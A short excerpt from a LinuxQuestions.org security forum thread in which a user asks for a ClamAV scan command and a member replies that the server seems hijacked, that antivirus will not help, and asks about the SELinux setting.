(still need a ClamAv command to scan the server....i'm unfamiliar with it, which is why i'm asking. Their site support isn't well documented either)
 
Old 01-20-2014, 10:14 PM   #15
ericson007
Member
 
Registered: Sep 2004
Location: Japan
Distribution: CentOS 7.1
Posts: 735

Rep: Reputation: 154Reputation: 154
Clamav is for windows viruses mostly, you don't have a virus, your machine is hijacked. Antivirus will do nothing for that.

Just more proof people should stop using these silly webadmin interfaces for managing critical services.

Also, have you actually kept selinux enforcing or turned off?
 
  


Reply



Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off



Similar Threads
Thread Thread Starter Forum Replies Last Post
[SOLVED] Memory leak: How risky not to free allocated memory. kaz2100 Linux - General 1 12-24-2008 12:00 AM
Inactive memory issue, Freebsd (memory leak?) JasperB *BSD 7 08-12-2008 03:19 AM
memory leak mdk Mandriva 1 09-17-2004 10:54 AM
Memory Leak when using memory debugging C program on SuSE SLES8 babalina Linux - Distributions 0 10-06-2003 09:39 AM
Memory Leak? eLinux Linux - General 2 09-20-2003 09:21 PM

LinuxQuestions.org > Forums > Linux Forums > Linux - Security

All times are GMT -5. The time now is 03:59 AM.

Main Menu
Advertisement
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
Open Source Consulting | Domain Registration